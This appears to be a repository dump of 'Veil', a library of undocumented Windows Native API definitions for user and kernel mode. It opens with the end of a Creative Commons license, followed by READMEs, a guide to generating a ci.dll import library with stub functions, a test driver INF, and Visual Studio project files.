156 | Licensor authorizes You to exercise the Licensed Rights in
157 | all media and formats whether now known or hereafter created,
158 | and to make technical modifications necessary to do so. The
159 | Licensor waives and/or agrees not to assert any right or
160 | authority to forbid You from making technical modifications
161 | necessary to exercise the Licensed Rights, including
162 | technical modifications necessary to circumvent Effective
163 | Technological Measures. For purposes of this Public License,
164 | simply making modifications authorized by this Section 2(a)
165 | (4) never produces Adapted Material.
166 |
167 | 5. Downstream recipients.
168 |
169 | a. Offer from the Licensor -- Licensed Material. Every
170 | recipient of the Licensed Material automatically
171 | receives an offer from the Licensor to exercise the
172 | Licensed Rights under the terms and conditions of this
173 | Public License.
174 |
175 | b. No downstream restrictions. You may not offer or impose
176 | any additional or different terms or conditions on, or
177 | apply any Effective Technological Measures to, the
178 | Licensed Material if doing so restricts exercise of the
179 | Licensed Rights by any recipient of the Licensed
180 | Material.
181 |
182 | 6. No endorsement. Nothing in this Public License constitutes or
183 | may be construed as permission to assert or imply that You
184 | are, or that Your use of the Licensed Material is, connected
185 | with, or sponsored, endorsed, or granted official status by,
186 | the Licensor or others designated to receive attribution as
187 | provided in Section 3(a)(1)(A)(i).
188 |
189 | b. Other rights.
190 |
191 | 1. Moral rights, such as the right of integrity, are not
192 | licensed under this Public License, nor are publicity,
193 | privacy, and/or other similar personality rights; however, to
194 | the extent possible, the Licensor waives and/or agrees not to
195 | assert any such rights held by the Licensor to the limited
196 | extent necessary to allow You to exercise the Licensed
197 | Rights, but not otherwise.
198 |
199 | 2. Patent and trademark rights are not licensed under this
200 | Public License.
201 |
202 | 3. To the extent possible, the Licensor waives any right to
203 | collect royalties from You for the exercise of the Licensed
204 | Rights, whether directly or through a collecting society
205 | under any voluntary or waivable statutory or compulsory
206 | licensing scheme. In all other cases the Licensor expressly
207 | reserves any right to collect such royalties.
208 |
209 |
210 | Section 3 -- License Conditions.
211 |
212 | Your exercise of the Licensed Rights is expressly made subject to the
213 | following conditions.
214 |
215 | a. Attribution.
216 |
217 | 1. If You Share the Licensed Material (including in modified
218 | form), You must:
219 |
220 | a. retain the following if it is supplied by the Licensor
221 | with the Licensed Material:
222 |
223 | i. identification of the creator(s) of the Licensed
224 | Material and any others designated to receive
225 | attribution, in any reasonable manner requested by
226 | the Licensor (including by pseudonym if
227 | designated);
228 |
229 | ii. a copyright notice;
230 |
231 | iii. a notice that refers to this Public License;
232 |
233 | iv. a notice that refers to the disclaimer of
234 | warranties;
235 |
236 | v. a URI or hyperlink to the Licensed Material to the
237 | extent reasonably practicable;
238 |
239 | b. indicate if You modified the Licensed Material and
240 | retain an indication of any previous modifications; and
241 |
242 | c. indicate the Licensed Material is licensed under this
243 | Public License, and include the text of, or the URI or
244 | hyperlink to, this Public License.
245 |
246 | 2. You may satisfy the conditions in Section 3(a)(1) in any
247 | reasonable manner based on the medium, means, and context in
248 | which You Share the Licensed Material. For example, it may be
249 | reasonable to satisfy the conditions by providing a URI or
250 | hyperlink to a resource that includes the required
251 | information.
252 |
253 | 3. If requested by the Licensor, You must remove any of the
254 | information required by Section 3(a)(1)(A) to the extent
255 | reasonably practicable.
256 |
257 | 4. If You Share Adapted Material You produce, the Adapter's
258 | License You apply must not prevent recipients of the Adapted
259 | Material from complying with this Public License.
260 |
261 |
262 | Section 4 -- Sui Generis Database Rights.
263 |
264 | Where the Licensed Rights include Sui Generis Database Rights that
265 | apply to Your use of the Licensed Material:
266 |
267 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right
268 | to extract, reuse, reproduce, and Share all or a substantial
269 | portion of the contents of the database;
270 |
271 | b. if You include all or a substantial portion of the database
272 | contents in a database in which You have Sui Generis Database
273 | Rights, then the database in which You have Sui Generis Database
274 | Rights (but not its individual contents) is Adapted Material; and
275 |
276 | c. You must comply with the conditions in Section 3(a) if You Share
277 | all or a substantial portion of the contents of the database.
278 |
279 | For the avoidance of doubt, this Section 4 supplements and does not
280 | replace Your obligations under this Public License where the Licensed
281 | Rights include other Copyright and Similar Rights.
282 |
283 |
284 | Section 5 -- Disclaimer of Warranties and Limitation of Liability.
285 |
286 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
287 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
288 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
289 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
290 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
291 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
292 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
293 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
294 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
295 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.
296 |
297 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
298 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
299 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
300 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
301 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
302 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
303 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
304 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
305 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.
306 |
307 | c. The disclaimer of warranties and limitation of liability provided
308 | above shall be interpreted in a manner that, to the extent
309 | possible, most closely approximates an absolute disclaimer and
310 | waiver of all liability.
311 |
312 |
313 | Section 6 -- Term and Termination.
314 |
315 | a. This Public License applies for the term of the Copyright and
316 | Similar Rights licensed here. However, if You fail to comply with
317 | this Public License, then Your rights under this Public License
318 | terminate automatically.
319 |
320 | b. Where Your right to use the Licensed Material has terminated under
321 | Section 6(a), it reinstates:
322 |
323 | 1. automatically as of the date the violation is cured, provided
324 | it is cured within 30 days of Your discovery of the
325 | violation; or
326 |
327 | 2. upon express reinstatement by the Licensor.
328 |
329 | For the avoidance of doubt, this Section 6(b) does not affect any
330 | right the Licensor may have to seek remedies for Your violations
331 | of this Public License.
332 |
333 | c. For the avoidance of doubt, the Licensor may also offer the
334 | Licensed Material under separate terms or conditions or stop
335 | distributing the Licensed Material at any time; however, doing so
336 | will not terminate this Public License.
337 |
338 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
339 | License.
340 |
341 |
342 | Section 7 -- Other Terms and Conditions.
343 |
344 | a. The Licensor shall not be bound by any additional or different
345 | terms or conditions communicated by You unless expressly agreed.
346 |
347 | b. Any arrangements, understandings, or agreements regarding the
348 | Licensed Material not stated herein are separate from and
349 | independent of the terms and conditions of this Public License.
350 |
351 |
352 | Section 8 -- Interpretation.
353 |
354 | a. For the avoidance of doubt, this Public License does not, and
355 | shall not be interpreted to, reduce, limit, restrict, or impose
356 | conditions on any use of the Licensed Material that could lawfully
357 | be made without permission under this Public License.
358 |
359 | b. To the extent possible, if any provision of this Public License is
360 | deemed unenforceable, it shall be automatically reformed to the
361 | minimum extent necessary to make it enforceable. If the provision
362 | cannot be reformed, it shall be severed from this Public License
363 | without affecting the enforceability of the remaining terms and
364 | conditions.
365 |
366 | c. No term or condition of this Public License will be waived and no
367 | failure to comply consented to unless expressly agreed to by the
368 | Licensor.
369 |
370 | d. Nothing in this Public License constitutes or may be interpreted
371 | as a limitation upon, or waiver of, any privileges and immunities
372 | that apply to the Licensor or You, including from the legal
373 | processes of any jurisdiction or authority.
374 |
375 |
376 | =======================================================================
377 |
378 | Creative Commons is not a party to its public
379 | licenses. Notwithstanding, Creative Commons may elect to apply one of
380 | its public licenses to material it publishes and in those instances
381 | will be considered the “Licensor.” The text of the Creative Commons
382 | public licenses is dedicated to the public domain under the CC0 Public
383 | Domain Dedication. Except for the limited purpose of indicating that
384 | material is shared under a Creative Commons public license or as
385 | otherwise permitted by the Creative Commons policies published at
386 | creativecommons.org/policies, Creative Commons does not authorize the
387 | use of the trademark "Creative Commons" or any other trademark or logo
388 | of Creative Commons without its prior written consent including,
389 | without limitation, in connection with any unauthorized modifications
390 | to any of its public licenses or any other arrangements,
391 | understandings, or agreements concerning use of licensed material. For
392 | the avoidance of doubt, this paragraph does not form part of the
393 | public licenses.
394 |
395 | Creative Commons may be contacted at creativecommons.org.
396 |
--------------------------------------------------------------------------------
/Veil/Library/README.Ci.md:
--------------------------------------------------------------------------------
1 | # Generating import libraries (.lib files)
2 |
3 | Usually when linking with a certain dll, you’d use an import library provided by the vendor.
4 | In our case, no such ci.lib file is provided and we need to generate it ourselves.
5 | This lib file should be added as a linker input in the project properties.
6 |
7 | ## 64 bit
8 |
9 | Get the exported functions from the dll, using dumpbin utility:
10 |
11 | `dumpbin /EXPORTS c:\windows\system32\ci.dll`
12 |
13 | Create a .def file. It will looks something like this:
14 |
15 | ```c
16 | LIBRARY ci.dll
17 | EXPORTS
18 | CiValidateFileAsImageType @1 NONAME
19 | CiRegisterSigningInformation @2 NONAME
20 | CiUnregisterSigningInformation @3 NONAME
21 | CiCheckSignedFile
22 | CiFindPageHashesInCatalog
23 | CiFindPageHashesInSignedFile
24 | CiFreePolicyInfo
25 | CiGetCertPublisherName
26 | CiGetPEInformation
27 | CiInitialize
28 | CiSetTrustedOriginClaimId
29 | CiValidateFileObject
30 | CiVerifyHashInCatalog
31 | ```
32 |
33 | Generate the .lib file using the lib utility:
34 |
35 | `lib /def:ci.def /machine:x64 /out:ci.lib`
36 |
37 |
38 | ## 32 bit
39 |
40 | Here the situation gets a bit trickier, since in 32bit the functions are decorated to
41 | include the sum of the arguments (in bytes), for example:
42 |
43 | `CiFreePolicyInfo@4`
44 |
45 | But ci.dll is exporting the functions in their non-decorated shape, so we need to create a .lib file that makes this translation.
46 |
47 | - Follow the first two steps of the 64bit section above.
48 |
49 | - Create a C++ file with function stubs - the same signature but dummy body. You basically mimic what the vendor did when exporting
50 | the functions from their code. For example:
51 |
52 | ```c
53 | _IRQL_requires_max_(PASSIVE_LEVEL)
54 | PVOID
55 | NTAPI
56 | CiFreePolicyInfo(
57 | _In_ MINCRYPT_POLICY_INFO* PolicyInfo
58 | )
59 | {
60 | UNREFERENCED_PARAMETER(PolicyInfo);
61 | return nullptr;
62 | }
63 | ```
64 |
65 | An example of such file is included in this repo under the name Stub.Ci.cpp
66 |
67 | - Compile it into an OBJ file.
68 |
69 | ```bat
70 |
71 | > SET KM_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\km"
72 | > SET CRT_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\km\crt"
73 | > SET KIT_SHARED_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\shared"
74 | >
75 | > cl Stub.Ci.cpp /c /kernel /Zc:wchar_t /I%KM_IncludePath% /I%CRT_IncludePath% /I%KIT_SHARED_IncludePath% /D _X86_=1 /D i386=1 /DSTD_CALL /D_MINCRYPT_LIB
76 | ```
77 |
78 | - Generate the .lib file using the lib utility, this time with the OBJ file:
79 |
80 | ```bat
81 | > lib /def:ci.def /machine:x86 /out:ci.lib Stub.Ci.obj
82 | ```
83 |
--------------------------------------------------------------------------------
/Veil/Library/Stub.Ci.cpp:
--------------------------------------------------------------------------------
1 | #include "../Veil.h"
2 |
3 | EXTERN_C_START
4 |
5 | _IRQL_requires_max_(PASSIVE_LEVEL)
6 | MINCRYPTAPI
7 | NTSTATUS
8 | NTAPI
9 | CiCheckSignedFile(
10 | _In_ PVOID Hash,
11 | _In_ UINT32 HashSize,
12 | _In_ ALG_ID HashAlgId,
13 | _In_ PVOID SecurityDirectory,
14 | _In_ UINT32 SizeOfSecurityDirectory,
15 | _Out_ MINCRYPT_POLICY_INFO* PolicyInfo,
16 | _Out_ LARGE_INTEGER* SigningTime,
17 | _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo
18 | )
19 | {
20 | UNREFERENCED_PARAMETER(Hash);
21 | UNREFERENCED_PARAMETER(HashSize);
22 | UNREFERENCED_PARAMETER(HashAlgId);
23 | UNREFERENCED_PARAMETER(SecurityDirectory);
24 | UNREFERENCED_PARAMETER(SizeOfSecurityDirectory);
25 | UNREFERENCED_PARAMETER(PolicyInfo);
26 | UNREFERENCED_PARAMETER(SigningTime);
27 | UNREFERENCED_PARAMETER(TimeStampPolicyInfo);
28 |
29 | return STATUS_SUCCESS;
30 | }
31 |
32 | _IRQL_requires_max_(PASSIVE_LEVEL)
33 | MINCRYPTAPI
34 | NTSTATUS
35 | NTAPI
36 | CiVerifyHashInCatalog(
37 | _In_ PVOID Hash,
38 | _In_ UINT32 HashSize,
39 | _In_ ALG_ID HashAlgId,
40 | _In_ BOOLEAN IsReloadCatalogs,
41 | _In_ UINT32 Always0, // This is for IsReloadCatalogs, Always0 != 0 ? 16 : 24;
42 | _In_ UINT32 Always2007F,
43 | _Out_ MINCRYPT_POLICY_INFO* PolicyInfo,
44 | _Out_opt_ UNICODE_STRING* CatalogName,
45 | _Out_ LARGE_INTEGER* SigningTime,
46 | _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo
47 | )
48 | {
49 | UNREFERENCED_PARAMETER(Hash);
50 | UNREFERENCED_PARAMETER(HashSize);
51 | UNREFERENCED_PARAMETER(HashAlgId);
52 | UNREFERENCED_PARAMETER(IsReloadCatalogs);
53 | UNREFERENCED_PARAMETER(Always0);
54 | UNREFERENCED_PARAMETER(Always2007F);
55 | UNREFERENCED_PARAMETER(PolicyInfo);
56 | UNREFERENCED_PARAMETER(CatalogName);
57 | UNREFERENCED_PARAMETER(SigningTime);
58 | UNREFERENCED_PARAMETER(TimeStampPolicyInfo);
59 |
60 | return STATUS_SUCCESS;
61 | }
62 |
63 | _IRQL_requires_max_(PASSIVE_LEVEL)
64 | MINCRYPTAPI
65 | NTSTATUS
66 | NTAPI
67 | CiValidateFileObject(
68 | _In_ FILE_OBJECT* FileObject,
69 | _In_opt_ UINT32 Unkonwn1, // 0 is a valid value. if it is 4, select sha256
70 | _In_opt_ UINT32 Unkonwn2, // 0 is a valid value.
71 | _Out_ MINCRYPT_POLICY_INFO* PolicyInfo,
72 | _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo,
73 | _Out_ LARGE_INTEGER* SigningTime,
74 | _Out_ UINT8* Hash,
75 | _Inout_ UINT32* HashSize,
76 | _Out_ ALG_ID* HashAlgId
77 | )
78 | {
79 | UNREFERENCED_PARAMETER(FileObject);
80 | UNREFERENCED_PARAMETER(Unkonwn1);
81 | UNREFERENCED_PARAMETER(Unkonwn2);
82 | UNREFERENCED_PARAMETER(PolicyInfo);
83 | UNREFERENCED_PARAMETER(TimeStampPolicyInfo);
84 | UNREFERENCED_PARAMETER(SigningTime);
85 | UNREFERENCED_PARAMETER(Hash);
86 | UNREFERENCED_PARAMETER(HashSize);
87 | UNREFERENCED_PARAMETER(HashAlgId);
88 |
89 | return STATUS_SUCCESS;
90 | }
91 |
92 | _IRQL_requires_max_(PASSIVE_LEVEL)
93 | MINCRYPTAPI
94 | PVOID
95 | NTAPI
96 | CiFreePolicyInfo(
97 | _In_ MINCRYPT_POLICY_INFO* PolicyInfo
98 | )
99 | {
100 | UNREFERENCED_PARAMETER(PolicyInfo);
101 |
102 | return nullptr;
103 | }
104 |
105 | typedef
106 | _IRQL_requires_same_
107 | _Function_class_(MINCRYPT_ALLOCATE_ROUTINE)
108 | __drv_allocatesMem(Mem)
109 | PVOID
110 | NTAPI
111 | MINCRYPT_ALLOCATE_ROUTINE (
112 | _In_ SIZE_T ByteSize
113 | );
114 | typedef MINCRYPT_ALLOCATE_ROUTINE *PMINCRYPT_ALLOCATE_ROUTINE;
115 |
116 | MINCRYPTAPI
117 | INT
118 | NTAPI
119 | CiGetCertPublisherName(
120 | _In_ MINCERT_BLOB* Certificate,
121 | _In_ PMINCRYPT_ALLOCATE_ROUTINE AllocateRoutine,
122 | _Out_ PUNICODE_STRING PublisherName
123 | )
124 | {
125 | UNREFERENCED_PARAMETER(Certificate);
126 | UNREFERENCED_PARAMETER(AllocateRoutine);
127 | UNREFERENCED_PARAMETER(PublisherName);
128 |
129 | return 0;
130 | }
131 |
132 | MINCRYPTAPI
133 | VOID
134 | NTAPI
135 | CiSetTrustedOriginClaimId(
136 | _In_ UINT32 ClaimId
137 | )
138 | {
139 | UNREFERENCED_PARAMETER(ClaimId);
140 | }
141 |
142 | EXTERN_C_END
143 |
--------------------------------------------------------------------------------
/Veil/Library/ci.def:
--------------------------------------------------------------------------------
1 | LIBRARY ci.dll
2 | EXPORTS
3 | ;CiValidateFileAsImageType @1 NONAME
4 | ;CiRegisterSigningInformation @2 NONAME
5 | ;CiUnregisterSigningInformation @3 NONAME
6 | CiCheckSignedFile
7 | ;CiFindPageHashesInCatalog
8 | ;CiFindPageHashesInSignedFile
9 | CiFreePolicyInfo
10 | CiGetCertPublisherName
11 | ;CiGetPEInformation
12 | ;CiInitialize
13 | CiSetTrustedOriginClaimId
14 | CiValidateFileObject
15 | CiVerifyHashInCatalog
16 |
--------------------------------------------------------------------------------
/Veil/README.Zh-CN.md:
--------------------------------------------------------------------------------
1 | # 面纱 (veil)
2 |
3 | * [English](README.md)
4 |
5 | `面纱`是 Windows 的原生 API 定义集合。采用`面纱`这个名字,寓意为揭开 Windows 的面纱,窥探隐藏在背后的面貌。
6 |
7 | 该项目包含了来自 `ntdll.dll`、`samlib.dll` 和 `winsta.dll` 的 Windows 内部未文档化的 API 定义。
8 |
9 | 该项目基于 [processhacker/phnt](https://github.com/processhacker/phnt) 和 [Chuyu-Team/MINT](https://github.com/Chuyu-Team/MINT) 分支修改,集合两个项目的优点。
10 |
11 | * 可以用于内核模式和用户模式。
12 | * 支持使用 `/W4` `/WX` 选项编译。
13 | * 适配 Windows SDK。
14 | * API 由 Windows SDK 版本宏管理。
15 |
16 | ## 如何使用
17 |
18 | 首先,请确保您的程序使用的是最新的 Windows SDK。然后克隆项目,直接 include 即可。
19 |
20 | ```C
21 | // 如果你不想污染全局空间的话,请包含以下宏定义
22 | #define VEIL_USE_SEPARATE_NAMESPACE
23 |
24 | #include "veil.h"
25 | ```
26 |
--------------------------------------------------------------------------------
/Veil/README.md:
--------------------------------------------------------------------------------
1 | # veil
2 |
3 | * [简体中文](README.Zh-CN.md)
4 |
5 | `veil` is a collection of Native API definitions for Windows. Take the name `veil`, which means to lift the veil of Windows and spy on the face hidden behind.
6 |
7 | This project contains the definitions for the Windows internal undocumented API from `ntdll.dll`, `samlib.dll` and `winsta.dll`.
8 |
9 | This project is based on the [processhacker/phnt](https://github.com/processhacker/phnt) and [Chuyu-Team/MINT](https://github.com/Chuyu-Team/MINT) fork modifications, combining the advantages of the two projects.
10 |
11 | * Both user-mode and kernel-mode are supported.
12 | * Compiling using the /W4 /WX option is supported.
13 | * Optimized for the Windows SDK.
14 | * The API is managed by Windows SDK version macros.
15 |
16 | ## How to use
17 |
18 | First make sure that your program is using the latest Windows SDK.
19 | Then clone and include it.
20 |
21 | ```C
22 | // If you wonder to use separate namespace, please define the following macro.
23 | #define VEIL_USE_SEPARATE_NAMESPACE
24 |
25 | #include "veil.h"
26 | ```
27 |
--------------------------------------------------------------------------------
/Veil/Veil.Test/My.Cpp.Default.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | $(SolutionDir)Build\$(PlatformShortName)\$(Configuration)\
7 | $(SolutionDir)Build\.objs\$(MSBuildProjectName.ToLower())\$(PlatformShortName.ToLower())\$(Configuration.ToLower())\
8 |
9 |
10 |
11 |
12 |
13 | true
14 | stdcpp17
15 | Level4
16 | true
17 | true
18 | $(IntDir)anyname\%(RelativeDir)%(FileName).obj
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Veil/Veil.Test/Veil.Test.Kernel.inf:
--------------------------------------------------------------------------------
1 | ;
2 | ; Veil.Test.Kernel.inf
3 | ;
4 |
5 | ;-------------------------------------------------------------------------
6 | ; Veil.Test.Kernel.INF -- Device Driver
7 | ;
8 | ; Copyright (c) 2019, Microsoft.Com LLC. All rights reserved.
9 | ;------------------------------------------------------------------------
10 |
11 | ; INF MSDN:
12 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/roadmap-for-device-and-driver-installation--windows-vista-and-later-
13 | ;
14 | ; Class And ClassGuid MSDN:
15 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/file-system-filter-driver-classes-and-class-guids
16 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/system-defined-device-setup-classes-available-to-vendors
17 | [Version]
18 | Signature = "$WINDOWS NT$"
19 | Class = System
20 | ClassGuid ={4d36e97d-e325-11ce-bfc1-08002be10318}
21 | Provider = %ManufacturerName%
22 | CatalogFile = %DriverName%.cat
23 | DriverVer =
24 | PnpLockdown = 1
25 |
26 |
27 | ;-------------------------------------------------------------------------
28 | ; Installation Section
29 | ;-------------------------------------------------------------------------
30 |
31 |
32 | ; DestinationDirs MSDN
33 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-destinationdirs-section
34 | [DestinationDirs]
35 | DefaultDestDir = 12
36 |
37 |
38 | ; SourceDisksNames MSDN
39 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-sourcedisksnames-section
40 | [SourceDisksNames]
41 | 1 = %DiskName%,,,""
42 |
43 |
44 | ; SourceDisksFiles MSDN
45 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-sourcedisksfiles-section
46 | ; Each filename entry must specify the exact name of a file on the source disk.
47 | ; You cannot use a %strkey% token to specify the file name.
48 | [SourceDisksFiles]
49 | Veil.Test.Kernel.sys = 1,,
50 |
51 |
52 | ; Copyfiles MSDN:
53 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-copyfiles-directive
54 | [Install.Copyfiles]
55 | %DriverName%.sys,%DriverName%.sys,,0x00004022 ; COPYFLG_NOSKIP | COPYFLG_NO_VERSION_DIALOG | COPYFLG_IN_USE_RENAME
56 |
57 |
58 | ; Delfiles MSDN:
59 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-delfiles-directive
60 | [Install.Delfiles]
61 | %DriverName%.sys
62 |
63 |
64 | ;-------------------------------------------------------------------------
65 | ; Service installation support
66 | ;-------------------------------------------------------------------------
67 |
68 |
69 | [DefaultInstall]
70 | CopyFiles =Install.Copyfiles
71 |
72 |
73 | ; LegacyUninstall MSDN:
74 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/develop/creating-a-primitive-driver
75 | [DefaultUninstall]
76 | LegacyUninstall = 1
77 | DelFiles = Install.Delfiles
78 |
79 |
80 | [DefaultInstall.Services]
81 | ; You may want to add the SPSVCINST_STARTSERVICE flag, like this:
82 | ; AddService=%ServiceName%,0x800,InstallService.Arch ; SPSVCINST_STARTSERVICE
83 | ; AddService MSDN
84 | ; SPSVCINST_STARTSERVICE=0x800
85 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-addservice-directive
86 | AddService = %ServiceName%,0x000,InstallService
87 |
88 | ; SPSVCINST_STOPSERVICE=0x200
89 | ; DelService MSDN:
90 | ; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-delservice-directive
91 | [DefaultUninstall.Services]
92 | DelService = %ServiceName%,0x200
93 |
94 |
95 | [InstallService]
96 | DisplayName = %ServiceName%
97 | Description = %ServiceDesc%
98 | ServiceBinary = %12%\%DriverName%.sys
99 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER
100 | StartType = 3 ; 0 = SERVICE_BOOT_START
101 | ; 1 = SERVICE_SYSTEM_START
102 | ; 2 = SERVICE_AUTO_START
103 | ; 3 = SERVICE_DEMAND_START
104 | ; 4 = SERVICE_DISABLED
105 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL
106 |
107 | ;-------------------------------------------------------------------------
108 | ; Strings section
109 | ;-------------------------------------------------------------------------
110 |
111 |
112 | [Strings]
113 | ManufacturerName = "Kaku"
114 | DriverName = "Veil.Test.Kernel"
115 | ServiceName = "Veil.Test"
116 | ServiceDesc = "Veil.Test Driver"
117 | DiskName = "Veil.Test.Kernel Source Disk"
118 |
--------------------------------------------------------------------------------
/Veil/Veil.Test/Veil.Test.Kernel.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}
23 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d}
24 | v4.5
25 | 12.0
26 | Debug
27 | Win32
28 | Veil_Test_Kernel
29 | 10.0
30 |
31 |
32 |
33 | Windows10
34 | true
35 | WindowsKernelModeDriver10.0
36 | Driver
37 | WDM
38 |
39 |
40 | Windows10
41 | false
42 | WindowsKernelModeDriver10.0
43 | Driver
44 | WDM
45 |
46 |
47 | Windows10
48 | true
49 | v143
50 | Driver
51 | WDM
52 |
53 |
54 | Windows10
55 | false
56 | WindowsKernelModeDriver10.0
57 | Driver
58 | WDM
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | DbgengKernelDebugger
82 |
83 |
84 | DbgengKernelDebugger
85 |
86 |
87 | DbgengKernelDebugger
88 | true
89 |
90 |
91 | DbgengKernelDebugger
92 |
93 |
94 |
95 | sha256
96 |
97 |
98 | $(SolutionDir)..\;%(AdditionalIncludeDirectories)
99 |
100 |
101 |
102 |
103 | sha256
104 |
105 |
106 | $(SolutionDir)..\;%(AdditionalIncludeDirectories)
107 |
108 |
109 |
110 |
111 | sha256
112 |
113 |
114 | $(SolutionDir)..\;%(AdditionalIncludeDirectories)
115 |
116 |
117 |
118 |
119 | sha256
120 |
121 |
122 | $(SolutionDir)..\;%(AdditionalIncludeDirectories)
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
--------------------------------------------------------------------------------
/Veil/Veil.Test/Veil.Test.Kernel.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | h;hpp;hxx;hm;inl;inc;xsd;cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 |
10 |
11 | Source
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/Veil/Veil.Test/Veil.Test.Main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #ifdef _KERNEL_MODE
4 | EXTERN_C NTSTATUS DriverEntry(PDRIVER_OBJECT /*DriverObject*/, PUNICODE_STRING /*RegistryPath*/)
5 | #else
6 | int main(int /*argc*/, char* /*argv*/[])
7 | #endif // _KERNEL_MODE
8 | {
9 |
10 | return STATUS_SUCCESS;
11 | }
12 |
--------------------------------------------------------------------------------
/Veil/Veil.Test/Veil.Test.UserMode.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 |
23 |
24 |
25 | 16.0
26 | Win32Proj
27 | {5e94fd3f-3f19-4c3e-b7de-43cb0877224f}
28 | VeilTest
29 | Veil.Test.UserMode
30 |
31 |
32 |
33 | Application
34 | true
35 | v143
36 | Unicode
37 |
38 |
39 | Application
40 | false
41 | v143
42 | true
43 | Unicode
44 |
45 |
46 | Application
47 | true
48 | v143
49 | Unicode
50 |
51 |
52 | Application
53 | false
54 | v143
55 | true
56 | Unicode
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | true
82 |
83 |
84 | false
85 |
86 |
87 | true
88 |
89 |
90 | false
91 |
92 |
93 |
94 | Level3
95 | true
96 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
97 | true
98 | $(SolutionDir)..\;%(AdditionalIncludeDirectories)
99 |
100 |
101 | Console
102 | true
103 |
104 |
105 |
106 |
107 | Level3
108 | true
109 | true
110 | true
111 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
112 | true
113 | $(SolutionDir)..\;%(AdditionalIncludeDirectories)
114 |
115 |
116 | Console
117 | true
118 | true
119 | true
120 |
121 |
122 |
123 |
124 | Level3
125 | true
126 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
127 | true
128 | $(SolutionDir)..\;%(AdditionalIncludeDirectories)
129 |
130 |
131 | Console
132 | true
133 |
134 |
135 |
136 |
137 | Level3
138 | true
139 | true
140 | true
141 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
142 | true
143 | $(SolutionDir)..\;%(AdditionalIncludeDirectories)
144 |
145 |
146 | Console
147 | true
148 | true
149 | true
150 |
151 |
152 |
153 |
154 |
155 |
--------------------------------------------------------------------------------
/Veil/Veil.Test/Veil.Test.UserMode.vcxproj.filters:
